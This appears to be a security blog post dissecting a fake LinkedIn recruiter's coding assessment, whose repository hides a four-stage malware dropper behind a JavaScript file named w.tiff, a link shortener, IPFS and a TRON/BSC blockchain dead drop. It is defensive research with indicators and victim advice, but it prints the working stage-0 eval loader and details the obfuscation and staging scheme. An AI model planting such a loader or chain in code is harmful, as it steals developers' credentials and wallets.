Anatomy of a Fake LinkedIn Coding Test: A Malware Dropper Hidden in a .tiff

Part 2 of the LinkedIn scammers series. This time I got the repository: a fake recruiter's 10-minute 'coding assessment' hid a four-stage dropper behind a .tiff file, a link shortener, IPFS and two blockchains.

Terminal mockup of a fake recruiter coding assessment

This is part 2 of LinkedIn DeFi Scammers: How Fake Recruiters Try to Drain Your Wallet. At the end of that post I promised to go back, play along with a fake recruiter, get the repository and see how the scam works technically.

It never worked out the first time. I did talk to those fake recruiters, but I never got a repository link: the last fake HR account was banned (I think) and the whole conversation was deleted along with it.

This time the account lasted long enough. I got the repo. Here is what it does, and how I looked at it without running it.

I did not run any of it. Everything below comes from reading files and from fetching inert data through Tor.

The approach

The first message was the usual template, with no company name:

“We’re working on a company project and believe your experience could really help us out. You’re welcome to join as a technical manager or developer, and you can work part-time or full-time, all remotely.”

When I asked what the job was, the answer was a Web3 NFT minting and staking project, a React + Express + Tailwind stack, and $40/hr quoted before any requirements. I asked whether there was an interview process and whether they paid in crypto. Neither question was answered. I got a request for my CV instead, which I sent.

A day later:

“After reviewing your experience, we believe your background aligns well with our current needs… would it be alright if we spent about 5–10 minutes on a short technical assessment?”

Then the conditions:

  • record your screen while you work (6–10 minutes, “no more than 30–40 minutes of your time”);
  • “Please don’t use AI tools”;
  • deliver the recording on Loom within 24 hours;
  • the repository, github.com/MiIies/mvp (since removed from GitHub), and three tasks:
    1. print a simple “Hello” in the terminal when the backend starts,
    2. change the border color of three boxes from brown to grey,
    3. set a solid yellow background.

The tasks are trivial on purpose. Task 1 matters most: to add a line printed when the backend starts, you have to start the backend.

“Don’t use AI tools” is also worth noticing. It looks like a standard anti-cheating rule, but here it conveniently removes the one thing that might have told you what the repo does.

The recruiter’s name was already in a warning

The scammer behind the conversation went by Hanan Nurul Azka (LinkedIn profile). I pasted the conversation into ChatGPT and asked whether this person looked suspicious. It found that the same name was already listed under “Some of the recruiters who are scamming” in a LinkedIn article by Alexandre Colauto Neto, a blockchain full-stack developer: Important Warning to fellow Software Engineers, published on 10 July 2025.

That means the profile was named in a public warning more than a year before it contacted me, and it was still active in October 2026. I find that surprising.

I’m confident this is a scammer: the pattern matches the earlier warning, the repository contains a malware dropper, and the account was still active in October 2026. If you report the profile to LinkedIn, the earlier public warning is the useful fact to include.

What the warning predicted

The warning lists what to search for in a suspicious repository: 0x, parseInt, eval, http, and dynamic function constructors, plus reading the last commit, using an LLM, and running everything in a VM. This repo is a good test of that checklist:

  • eval( does find the loader. In the server and frontend code, w.tiff is the only file that contains it, and also the only one that uses atob.
  • http does not find the URL in the server code, because it’s base64-encoded (atob('aHR0cHM6…')).
  • 0x and parseInt match many files, but they are ordinary Web3 frontend code (ethereum.js, erc20.js, Minting.jsx, Staking.jsx, …). In a repo that is supposed to be an NFT minting app, those searches are mostly noise.
  • new Function isn’t in the repo at all. It appears in the second stage, which is fetched from a blockchain.

So a keyword search only gives you one real hit, a single eval( in a file with an image extension, buried among legitimate matches. The advice in the warning is right: read the code, don’t trust it, and run it in a VM, never on your working machine.

Looking at the repository

The GitHub repo MiIies/mvp (now removed, it returns 404; a copy is preserved in my pull request) had a single commit, 4b9c81a5d0c73ac1f87e2d42f594b68d905e935f (“initial commit”, unsigned), from 12 December 2025. The commit’s author name is daudmag and the author email is daudhashi631@gmail.com. The account name MiIies contains a capital I that looks like a lowercase l in most fonts, so it reads as “Milies”. There is no description, website or history.

It looks like a React + Express app called “Paradise”. package.json has no postinstall hook or suspicious script, which is what most people check. The malware isn’t there.

Stage 0: a JavaScript file named w.tiff

server/_resources/html_css_theme/img/w.tiff is a 158-byte text file. It is not an image:

server/_resources/html_css_theme/img/w.tiff
try { (async () => { const res = await require('axios').get(atob('aHR0cHM6Ly9sYXZpZm8uc2hvcnRzLmd5L0VUS2ZK')); eval(res.data.content); })(); } catch (err) { }

The base64 decodes to hxxps://lavifo.shorts[.]gy/ETKfJ. The script downloads whatever that URL returns and runs eval() on its content field. The empty catch hides errors.

It gets loaded from an unrelated route file, server/routes/api/faq.js:

server/routes/api/faq.js:84
const load = require('../../_resources/html_css_theme/img/w.tiff')

load is never used. The require exists only for its side effect. Node treats an unknown file extension as JavaScript, so require() of a .tiff executes it.

server/server.js mounts that route (app.use('/api/faq', require('./routes/api/faq'))), and npm run server is node server/server.js. npm start runs it as well. Starting the backend, the first thing the assessment asks for, runs the loader.

Stage 1: dropper, via a shortener and IPFS

The shortener replies with a 301 redirect (via Cloudflare, with a PHP session cookie) to a Pinata IPFS gateway:

hxxps://yellow-written-hyena-360.mypinata[.]cloud/ipfs/bafkreiadf6x4tg3ozizmkw2eirvy6odcahrzznyblfmcnjw3lvbbdt3u2u

An IPFS link is addressed by content hash, so those bytes can’t change. To change the stage, the operator has to publish a new file and repoint the shortener. The gateway returns a 35,247-byte JSON file, {"content": "function c1() {...}"}, containing heavily obfuscated JavaScript (the obfuscator.io style: a rotated string array and a custom base64 decoder). After deobfuscation it does the following:

  • It checks whether it’s being analysed. If it sees environment variables for Codespaces, CodeSandbox, Vercel, AWS (including Lambda and credentials), GCP, Azure Functions, Render, Heroku (DYNO), App Engine, DOCKER, SOCKET_DEV, or “aws” in the kernel release, it prints a fake “environment not supported” message. This is meant to make cloud sandboxes and CI runners exit without showing anything.
  • It creates ~/.vs_cache/, a name that looks like a VS Code cache folder.
  • It writes a package.json and a main.js there. main.js is an embedded copy of stage 2.
  • It locates npm-cli.js next to the running node binary and runs npm install for koffi, @primno/dpapi, better-sqlite3, socket.io-client and node-machine-id, using a hidden, detached child process.
  • On Windows it also writes main.vbs (a WScript.Shell script that starts node on main.js with a hidden window) and runs it through %WINDIR%\System32\wscript.exe. On other platforms it spawns node detached with stdio: "ignore".

Those dependencies say a lot about the purpose. @primno/dpapi decrypts Windows DPAPI-protected data (browser secrets). better-sqlite3 reads the SQLite databases browsers use for logins and cookies. node-machine-id identifies the victim. socket.io-client gives the operator a live channel. koffi calls native APIs. That is my reading of the dependency list, not observed behavior.

Stage 2: the next stage lives on a blockchain

main.js (8,790 bytes, SHA-256 fe0ffbbd…27b9, obfuscated again) doesn’t contain a server address at all. It reads one from the chain, using what is sometimes called “EtherHiding”:

  1. Ask the TronGrid API (api.trongrid.io, with a hard-coded TRON-PRO-API-KEY) for the latest confirmed outgoing transaction of the TRON address TBMcSRezuxdoNEC8gD3uS4GQVGvybYU4UU.
  2. Take the transaction’s memo field, swap its two halves, and hex-decode it. The result is a BSC transaction hash: 0xbf3fa7a35ab2ee7e243134f39e367b8774d32810fd9b66355c8eba135b2fca9f.
  3. Fetch that transaction from a Binance Smart Chain node (bsc-dataseed.binance.org, via eth_getTransactionByHash). It was sent from 0x4f145ea9b91a73acc9c6a61922cb12414e4358b2 to the burn address 0x…dead, in block 121,981,584. Its input data is the payload.
  4. Reverse the string, XOR it with the key 02e4f3e7-9442-4f9c-a6f4-4fa136605d1c, strip the BCGZ1| marker, base64-decode and gunzip.
  5. Run the result with new Function("require", "module", "exports", "__dirname", "__filename", code).

The TRON transaction (a323fb6e…437fe) is from 2026-09-15, and the BSC one is on BscScan. Blockchain data can’t be taken down, and the operator can rotate the next stage by posting a new TRON transaction, with nothing to change in the repo. A takedown of any single server doesn’t stop this.

Stage 3 and the C2

The decrypted blob (4,373 bytes, SHA-256 1856068cc3960e23df6ef4f8599332e30a58154f1dbb243e0839594e32e6648a) is yet another obfuscated loader. It builds a URL from a hex-encoded string:

hxxp://138.226.247[.]152:80/session/<SESSION_TOKEN>

and fetches more JavaScript from it (it accepts http and https, with Accept: application/javascript), logging errors to ~/.vs_cache/loader.log.

I requested that URL through Tor with the literal placeholder __SESSION_TOKEN__ in place of the token. The server, an Express app, answered 404 Session not found. It is live and it only serves payloads to sessions it created. I stopped there, because guessing tokens means probing someone’s server, and I’d rather not.

The whole chain

npm run server
└─ server/server.js ── require('./routes/api/faq')
└─ faq.js:84 ── require('…/img/w.tiff') [stage 0, 158 B]
└─ GET lavifo.shorts.gy/ETKfJ → 301
└─ Pinata IPFS (JSON, 35 KB) [stage 1, dropper]
└─ ~/.vs_cache/ + npm install + main.js (+ main.vbs on Windows)
└─ TRON tx memo → BSC tx hash [stage 2, dead drop]
└─ BSC tx input → XOR → gunzip → new Function
└─ GET 138.226.247.152/session/<token> [stage 3 → 4]

What I don’t know

  • Stage 4, the actual payload, is missing. I can’t tell you what it takes. The dependency list strongly suggests browser credentials, cookies and wallet data, but I haven’t seen that code.
  • I don’t know who runs this operation or where they are.
  • I never ran the project, so I can’t describe behavior on a real machine.

The infrastructure I used

The aim was to read everything and execute nothing, and to keep my IP away from the attacker’s servers. I used Claude Code as an assistant for the analysis. I ran everything in Docker on a Linux machine.

Safety rules I followed

  • No git clone, no npm install of the project, no running any of their code.
  • Every file was fetched as plain text and saved to a scratch directory, only ever shown through cat -v or head -c, never printed raw (a hostile response could contain terminal escape sequences).
  • Every request to attacker infrastructure went through Tor.
  • Anything that executed ran with no network access.

1. Tor in a container. There was no Tor image on my machine, so I built a minimal one:

tor/Dockerfile
FROM alpine:3.20
RUN apk add --no-cache tor
USER tor
CMD ["tor","--SocksPort","0.0.0.0:9050"]
Start Tor on an isolated network
docker build -t tor-local tor
docker network create torfetch
docker run -d --rm --name torproxy --network torfetch tor-local
# wait for "Bootstrapped 100%" in: docker logs torproxy

2. Check that traffic really leaves through Tor before touching anything of theirs. The Tor exit and my direct connection reported different addresses:

Terminal window
docker run --rm --network torfetch curlimages/curl -sS \
--socks5-hostname torproxy:9050 https://check.torproject.org/api/ip
# {"IsTor":true,"IP":"204.8.96.152"}
curl -sS https://check.torproject.org/api/ip
# {"IsTor":false,"IP":"<my real IP>"}

3. Fetch each URL with a throwaway curl container: all Linux capabilities dropped, read-only root filesystem, one writable output folder, DNS resolved through Tor (--socks5-hostname), no redirect-following, a size and time limit, headers and body saved to files:

Terminal window
docker run --rm --network torfetch --cap-drop ALL --read-only \
-v "$PWD/out:/out" curlimages/curl -sS --socks5-hostname torproxy:9050 \
-D /out/headers.txt -o /out/payload.bin \
--max-filesize 5000000 --max-time 40 \
-w 'status=%{http_code} size=%{size_download} redirect=%{redirect_url}\n' \
https://lavifo.shorts.gy/ETKfJ

I followed each hop by hand: shortener → IPFS gateway, then TronGrid, a BSC node and the C2. For each one I recorded the status, headers, size and SHA-256 of each response. On a 301 I stopped to decide whether to follow it.

4. Deobfuscate in a container with no network. webcrack was installed with npm install --ignore-scripts in a throwaway node:22-alpine container, which is the only step there that had network access. After that:

Terminal window
docker run --rm --network none --cap-drop ALL --read-only --user 1000:1000 \
--memory 1g -v "$PWD/an:/an" -w /an node:22-alpine \
timeout 120 node_modules/.bin/webcrack payload.js -o out_dir

5. Decode the string table. webcrack removed the structure but left calls like a0T(630) unresolved. To read them I ran only the pure decoder function (the string array, its rotation and the decoder), cut out of the file, inside a Node vm context with no require, process or network, in a container with --network none. It printed all 1,084 strings, and I substituted them back into the code by script. I never ran the payload’s main logic.

6. Stages 2 and 3, by hand. The stage 2 blob was embedded as a string literal, so I extracted it with a small script, and the TRON and BSC lookups were plain HTTP calls through Tor. The memo swap and the XOR + gunzip were a few lines of Python. I read each stage as text before moving on to the next.

7. Verify the claims. I checked the w.tiff content, the require line, the redirect target and the on-chain data against the raw data myself, rather than trusting any summary, including the AI ones.

After the work, remove the throwaway pieces:

Terminal window
docker rm -f torproxy && docker network rm torfetch

Indicators of compromise

Defanged. If you ran this repo, treat the machine as compromised.

Repository
github.com/MiIies/mvp commit 4b9c81a5d0c73ac1f87e2d42f594b68d905e935f (12 Dec 2025)
Commit author
daudmagdaudhashi631@gmail.com
Loader file
server/_reso…g/w.tiff server/_resources/html_css_theme/img/w.tiff
SHA-256 8e1737980b244fa91fca17617ee1519d8fa03f97d157f4365d737e9031547b7b
Importing file
server/routes/api/faq.js:84
Shortener
hxxps://lavi…gy/ETKfJ hxxps://lavifo.shorts[.]gy/ETKfJ
IPFS gateway
hxxps://yell…bbdt3u2u hxxps://yellow-written-hyena-360.mypinata[.]cloud/ipfs/bafkreiadf6x4tg3ozizmkw2eirvy6odcahrzznyblfmcnjw3lvbbdt3u2u
Stage 1 SHA-256
032fafc99b6e…11cf74d5 032fafc99b6eca32c55b44446b8f386201e39cb701595826a6db5d4211cf74d5
35,247 bytes
TRON address
TBMcSRezuxdo…vybYU4UU TBMcSRezuxdoNEC8gD3uS4GQVGvybYU4UU
TRON transaction
a323fb6e0b9f…ae1437fe a323fb6e0b9ff85d63f3fa5a16f2c369dd48acbb085460e4b7bb7c54ae1437fe
TronGrid API key
0abf12d7-601…d807468c 0abf12d7-601d-4565-bba3-7f94d807468c
hard-coded in stage 2
BSC transaction
0xbf3fa7a35a…5b2fca9f 0xbf3fa7a35ab2ee7e243134f39e367b8774d32810fd9b66355c8eba135b2fca9f
from 0x4f145ea9b91a73acc9c6a61922cb12414e4358b2
XOR key
02e4f3e7-944…36605d1c 02e4f3e7-9442-4f9c-a6f4-4fa136605d1c
marker BCGZ1|
Stage 2 SHA-256
fe0ffbbde5b4…bcdc27b9 fe0ffbbde5b46b1cf17429c26f485d5d6201d6d763cba1975259590abcdc27b9
Stage 3 SHA-256
1856068cc396…32e6648a 1856068cc3960e23df6ef4f8599332e30a58154f1dbb243e0839594e32e6648a
C2
hxxp://138.2…/<token> hxxp://138.226.247[.]152:80/session/<token>
Express; 404 Session not found without a valid session
Local artifacts
~/.vs_cache/package.jsonmain.jsmain.vbsloader.log plus wscript.exe or a detached node launched from there
npm packages
koffi@primno/dpapibetter-sqlite3socket.io-clientnode-machine-id

If you already ran it

  • Disconnect the machine and treat every credential it could reach as stolen: browser passwords, saved sessions, SSH keys, cloud tokens, .env files.
  • Move crypto to a new wallet created on a clean device. Don’t just change passwords, because a seed phrase that touched the machine is burned.
  • Look for ~/.vs_cache/ and for unexpected wscript.exe or node processes.
  • Revoke sessions and tokens from another device.

Where to look up and report these cases

There is a public community list of these scams: xndbogdan/malicious-repositories. It collects malicious repositories sent by fake recruiters, with the malware samples, indicators, recruiter profiles and red-flag checklists. I checked it before submitting: neither this repository nor the recruiter was listed.

I forked it (antlis/malicious-repositories) and sent this case as a pull request, #28. It adds the repository, the extracted stages, the defanged indicators and the recruiter profile.

I also posted a short version of this write-up on LinkedIn, so more people know where to submit such cases.

If you get a suspicious assessment repo, search that list first (by repository name, domain or recruiter name), and if your case isn’t there, open a pull request with the repo, indicators and your analysis.

Takeaways

  • The scripts in package.json are not the only place code runs. Here the malware was a require() of a file that doesn’t look like code, inside an unrelated route.
  • A trivial task that needs the app running is the point of the test. “Just add a log line” is an instruction to execute their server.
  • A recruiter who won’t name the company, ignores the interview and payment questions, and forbids AI tools is telling you something. So is a profile that was already named in a public warning more than a year ago.
  • Keyword searches aren’t enough: the URL was base64, and the real code lived on IPFS and two blockchains.
  • If you must look at an assessment repo, read it on GitHub, or run it in a throwaway VM with nothing in it: no keys, no browser profile, no wallet.
  • Report the profile to LinkedIn, report the repository to GitHub, and add the case to the community list of malicious repositories so others can find it.

Stay safe out there.